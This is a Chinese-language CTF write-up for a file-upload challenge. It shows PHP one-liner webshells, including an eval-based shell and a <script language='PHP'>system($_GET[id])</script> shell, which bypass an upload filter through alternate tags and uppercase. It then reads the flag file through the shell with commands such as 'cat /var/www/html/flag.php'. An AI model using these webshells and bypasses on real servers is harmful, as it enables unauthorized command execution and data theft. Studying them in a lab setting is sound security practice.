0x00 前言

i春秋和百度联合推出的一个CTF比赛,由于本人太菜。只能随便玩玩,多学多问。

0x01 正文

Upload

题目

Upload
描述:想怎么传就怎么传,就是这么任性。
tips:flag在flag.php中

解题思路

打开题目题目链接,是一个文件上传的题。

然后打开/flag.php

直接上传传统的PHP一句话

1
<?php eval_r($_POST[sb])?>


发现过滤了 <?php

然后在网上找到了另一种php一句话的木马

1
<script language="php">@eval_r($_POST[sb])</script> //绕过<?限制的一句话


查看源码显示过滤了php

php改为PHP继续上传

查看源码没有显示


找这里就没思路了,吃饭。去图书馆,下午回来问问大表哥

表哥告诉我不要传传统的PHP一句话
换个姿势,然后告诉我 PHP有4种开始和结束标记

果断百度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1.
<?php echo 'if you want to serve XHTML or XML documents, do like this'; ?>

2.
<script language="php">
echo 'some editors (like FrontPage) don't
like processing instructions';
</script>

3.
<? echo 'this is the simplest, an SGML processing instruction'; ?>
<?= expression ?> This is a shortcut for "<? echo expression ?>"

4.
<% echo 'You may optionally use ASP-style tags'; %>
<%= $variable; # This is a shortcut for "<% echo . . ." %>

发现第二种上午用过,但是不行
表哥说换个姿势,用system()函数调用系统命令
由于个人能力太差,写了半天才写出一句话

1
<script language="PHP">system($_GET[id])</script>

PHP大写绕过,上传!

执行3.php?id=ls
发现php_errors.log日志文件,找到表哥说的绝对路径

1
/var/www/html/u

然后表哥说直接命令查就可以了

1
pwd  //同样得到 /var/www/html/u


然后利用cat 查看文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
1.命令格式:

cat [选项] [文件]...

2.命令功能:

cat主要有三大功能:

1.一次显示整个文件:cat filename

2.从键盘创建一个文件:cat > filename 只能创建新文件,不能编辑已有文件.

3.将几个文件合并为一个文件:cat file1 file2 > file

3.命令参数:

-A, --show-all 等价于 -vET

-b, --number-nonblank 对非空输出行编号

-e 等价于 -vE

-E, --show-ends 在每行结束处显示 $

-n, --number 对输出的所有行编号,由1开始对所有输出的行数编号

-s, --squeeze-blank 有连续两行以上的空白行,就代换为一行的空白行

-t 与 -vT 等价

-T, --show-tabs 将跳格字符显示为 ^I

-u (被忽略)

-v, --show-nonprinting 使用 ^ 和 M- 引用,除了 LFD 和 TAB 之外

根据上面的知识,构建下面的payload

1
.../u/3.php?id=cat /var/www/html/flag.php


查看源码得到flag,唉!不容易,自己的知识太少了。

Flag

flag{90969a8b-9e19-4247-8654-a10eeeb48314}

此题小结

才发现做个CTF不是那么容易的,一个看起来简单的上传绕过的题目。包含了PHP,Linxu系统命令,等等很多内容。也发现了自己有很多不足。幸亏有表哥的帮助,在此感觉依风表哥帮助和指导,下面两个题等明天在看别人的Writeup或者请教表哥吧!